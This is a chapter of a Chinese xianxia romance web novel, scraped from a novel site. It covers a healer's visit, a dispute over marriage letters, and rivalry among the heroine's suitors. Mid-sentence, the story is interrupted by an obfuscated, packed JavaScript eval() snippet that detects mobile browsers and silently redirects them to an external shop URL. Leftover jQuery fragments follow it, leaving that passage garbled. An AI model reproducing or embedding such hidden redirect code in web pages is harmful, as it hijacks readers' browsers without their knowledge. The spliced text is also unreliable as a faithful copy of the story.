文趣网 > 其他小说 > 道侣他是恋爱脑 > 20.第二十章
    “痛……痛痛痛痛痛痛痛!”

    梁翛的住处传出来杀猪般的嚎叫,杨紫萦端坐屏风之外,被他嚎得心神不宁。

    这么痛吗?已经请最好的大夫过来了,还这么痛吗?

    少倾,一个须发尽白,面容祥和的老者从屏风后出来,此人名唤墨即,虽然修为低微,但一身医术精湛至极,是小仙宫里数一数二的供奉医修。而能请他出手医治的病人,若非是疑难杂症,便是身份极其高贵的大人物。

    梁翛两者都不算,按理说是请不动墨即大夫的,奈何杨紫萦直接用灵蝶将他传了过来。他是知道这位少主的脾气的,是以不敢怠慢。

    “少主,梁仙君的伤口看似可怖,其实都是皮肉伤,没什么大碍。”墨即回报璇玑仙子,“老夫为他上了药,三日便能结痂,半个月内便可痊愈。”

    杨紫萦心下稍安,又问:“他还要参加少主擂,可会又什么影响。”

    “应当不碍事,只是伤到了后背而已。”这一点墨即已经考虑过了,皮肉之伤,又不在四肢,对比试的影响应该不会太大,而且第二轮比试只要不遇见什么难缠的对手,费不了太多精力。

    “如此便好。”璇玑仙子听他说完,彻底放下心来,又想起一事,低声说道:“墨大夫,上次我托您查验的事情,可有结论?”

    墨即皱眉,沉声回道:“少主所托,老夫不敢怠慢,那人身上确定有蹊跷,只是尚有一个疑问未能查明,不敢妄下定论。”

    “此事拖延日久,我心内不安。”璇玑仙子略一沉吟,又道:“墨大夫,烦劳您先将推测报与我看,至于疑问,日后再细查不迟。”

    墨即不敢推辞,恭身应允,又见杨紫萦连日辛苦,劝道:“近日教内事务繁多,少主千万不可过于费神,保重身体才是最要紧的。”

    教主马上就要出关了,他老人家最关心的,可就是面前这位的身体了。

    “放心吧,您送来的药,阿黛日日都看着我喝,不敢不遵医嘱。”

    杨紫萦与墨即大夫的医患关系已然持续了数十年,每每提及自己的身体,她仿佛总是这样不太上心。

    “少主若真能听老夫的话,当初便不该上少主擂,您的身体根本无法负荷如此繁多的教务,当静心修养才是。”作为大夫,这些年墨即可为她操碎了心,可惜这位病人总是不听话,任他医术再好也只能无可奈何了。

    “静心修养又能如何,不过匆匆百年而已。”

    墨即的话她已经听过无数遍了,只是她自己的身体,她自有打算。

    “这么浑浑噩噩地活着,活上千年万年又有何意义,我若能替他完成心愿,才算值得。”

    墨即已经习惯了她不听劝告,也只能是叹一口气,默默告辞。

    杨紫萦目送他离开,而后转身到屏风之后,此时有侍奉的仆役已经为梁翛更衣完毕,见她进来,便识趣地退下。

    “还痛吗?”璇玑仙子轻声问道。

    “好多啦!那老大夫的药真神奇!”梁翛现在伤口不痛了,精神更为抖擞,他坐在榻上,朝杨紫萦伸手道:“婚书拿来我瞧瞧。”

    “你怎么知道我没毁掉?”

    她的障眼法,可是连申屠老祖都瞒过了,为何却会被他轻易看穿?

    “你又不是真心拆散拂兰和周明,又怎么会真的毁掉婚书呢?”

    梁翛心道:更何况这是林渊亲笔写的,你舍得毁掉才怪!

    杨紫萦无奈,梁翛与她相识时日虽短,但她的心意,他总能特别了解。左手腕上紫芒一闪,两封红锦绣袋装着的婚书便出现在她的手上。

    “你这是什么法术?”梁翛也没见她戴了储物手环,“你把婚书藏哪里了?”

    怎么可能凭空出现呢?

    “这是七宝玲珑镯,是一件顶阶的防御法宝,也兼有巨大的储物空间。”璇玑仙子解释道:“它是隐形的,只有我一人能够使用。”

    这可真是个好宝贝!

    梁翛瞪大了眼睛看她的手,也没看出什么来。

    储物手环不认主,若是不慎遗失,那谁控制了都能拿走里面的东西,除非自己下些禁制在上面,但遇见修为高的,也会被破除。可七宝玲珑镯不但兼具了防御性能,还能认主,还能隐形,真是万金难求的好东西了。

    不过梁翛虽然眼馋却不贪婪,满足了好奇心之后,他的注意力又回到了两封婚书上面。

    两封一模一样的婚书,虽然时间长久,但因为各自主人的悉心保管,仍然光洁如新。林渊的字迹,端正之中,不失锋芒,大气洒脱,都说字如其人,梁翛无缘见他,今日见了这字,也可以想象出他的三分风采来。

    这样的人,难怪她会倾心,当真是个惊才绝艳的人物呢!单就他不愿趁她年幼,乱她心意的胸怀,我便是永远也及不上的。有林渊这般珠玉在前,梁翛竟不由得有几分意气消沉。

    这个对手太强大了,他第一次对自己的信心产生了动摇。

    “璇玑!”

    萧绝的声音自门外传来,杨紫萦忙将两封婚书收好,他已然急匆匆地闯将进来。

    “璇玑,你没事吧?”天知道他听说她和申屠老祖动手时是何等揪心,还好受伤的人是梁翛。

    是的,他知道受伤的人是梁翛,可他关心的人,只有杨紫萦。

    “有我英勇无畏地保护少主,少主怎么会有事呢?”梁翛故意挡在杨紫萦前面,偏不让萧绝接触到她。

    杨紫萦把他按到一边,“梁翛,你自己好好养伤。萧大哥,我们出去说话。”

    婚书的事是她一意孤行,应当对萧绝解释一二。

    萧绝见她安然无恙,心下稍安,又忍不住带上了几分责备:“璇玑,此事太过冒险,你怎么也不和我商量一下,就找周明了呢?如今外面的消息乱传,都说你是因为不愿自己的司仪嫁到别的宗门去,所以强行毁了这门婚事。本来因为寒晶石的事情,许多宗门都心怀不满,此次更是火上浇油,若是他们借着少主擂的机会再推出一位少主来,我们的形势会更加艰难。”

    “我说过,仙教少主有我一人足矣,不会再有新的少主的。”杨紫萦平静地陈述,“别忘了少主擂的规矩,必须挑战我才有可能成为新任少主。”

    “可你也别忘了,挑战无论输赢,只要教主点头,他都有机会。”萧绝亦提出其中关键,“万一他们联合起来向教主施压,教主未必不会答应。”

    “输赢确实可以不论,但死活总有区别。”杨紫萦早有主意,死人,是不可能成为少主的。

    无论是谁,挑战者,必死!

    “你有把握吗?”萧绝不想她有此准备,“这届各大宗门都派了最好的弟子过来,有几个,不是那么好对付的。”

    杨紫萦语气未变,“他们说我是微元境内第一人,我以为此言不假。我有汇灵诀,又有常仪剑,微元境内,的确无人是我敌手

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618989|205009||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。”

    五灵体可通晓五行术法,汇灵诀可聚集大量灵气,再加上上古神器常仪剑神威无双,莫说是微元境,便是中元境里修为弱些的,也不敢直面其锋芒。

    所以,她言出、必践!

    萧绝默默地叹了口气,他知道她有这个实力,他也明白这办法虽然解一时之厄,但也会留下无穷后患。

    “璇玑,我知道你的修为高绝,但仙教少主,不仅仅需要修为,你得懂制衡,有心机,能舍得,只这样一味铁血强压,若将他们追的太急了,他们什么事都做的出来。”

    “我知道,只是我今日若舍了拂兰,明日他们就会要我牺牲阿黛,后天可能就会轮到你!”杨紫萦言辞难得多了两分激烈:“我若是连自己身边的人都护不住,我又要如何庇佑仙教十万教众呢?”

    她刚才说……是在担心我的安危吗?

    萧绝心中生出无限柔情,她说我是她身边的人,她心里终究也是有我的。

    为了她这句话,肝脑涂地,也甘愿了。

    萧绝的眼神也变得温柔起来,“璇玑,我说过我会帮你的,只是觉得这桩婚约有些可惜了,还是阿渊定下的呢。”

    提到林渊,璇玑仙子也沉默了,良久方道:“我才智不及渊哥之万一,也确实不适合当这个少主,今日若是他在,必有两全之法,只是我想,他无论如何,也不会选择牺牲拂兰的。”

    林渊为他们定下婚约,是希望他们可以幸福,且不说往后形势会如何发展,只说拂兰迫于无奈与周明成婚,即便深爱,这也会成为他们心中永远的一根刺,他们不可能像希望中那样幸福。

    她这一番话,又让萧绝刚刚温暖起来的心变得寒凉。

    林渊陪了她十年,他也陪了她十年,可在她心里,他永远都比不上林渊!

    “萧大哥,你别多心,我没有别的意思。”杨紫萦听他半晌不语,察觉到他低落的心绪,“此事本就是我任意妄为了,如今,也不知该如何收场。”

    萧绝勉强笑了:“不用担心,我来帮你想办法。”

    他不知如何才能胜过一个故去多年的人,或许为她解决一切烦忧之事能让她另眼相看吧。

    “你也折腾一早上了,我陪你回去吧。”

    杨紫萦点点头,没有拒绝他的好意。

    梁翛趴在窗户底下听完他们说话,忿忿回自己榻上趴着,心里把萧绝标记为自己目前的头号大敌。

    我好不容易找到的人,才不能让你给抢走了呢!哼!

    不过,他没想到被窝还没暖热乎,他的头号大敌就出现在了面前。

    萧绝送杨紫萦回去之后,并未离开孤鸿台,而是又来到了梁翛的住处。

    从前杨紫萦也有过不少“男宠”,他很清楚,那些人只是林渊的替身,他们除了能用那一副与林渊相似的声音念几段故事哄她入睡以外,再没有什么别的用处,所以他也从没将那些人放在心上。

    起初他以为,梁翛也不过如此。直到今天,他听说杨紫萦去找周明,谁也没叫,只让梁翛跟着,而且侍剑还告诉他,昨晚,梁翛一直和她在一起,并未离开。他这才突然惊觉,梁翛,和从前那些人,是不一样的。

    或许,是因为他的声音,最像林渊吧。

    “哟,萧圣使去而复返,是想起来我才是受伤的那个人,特地过来探病的吗?”梁翛戏谑道。

    “我是来警告你,离璇玑远一点。”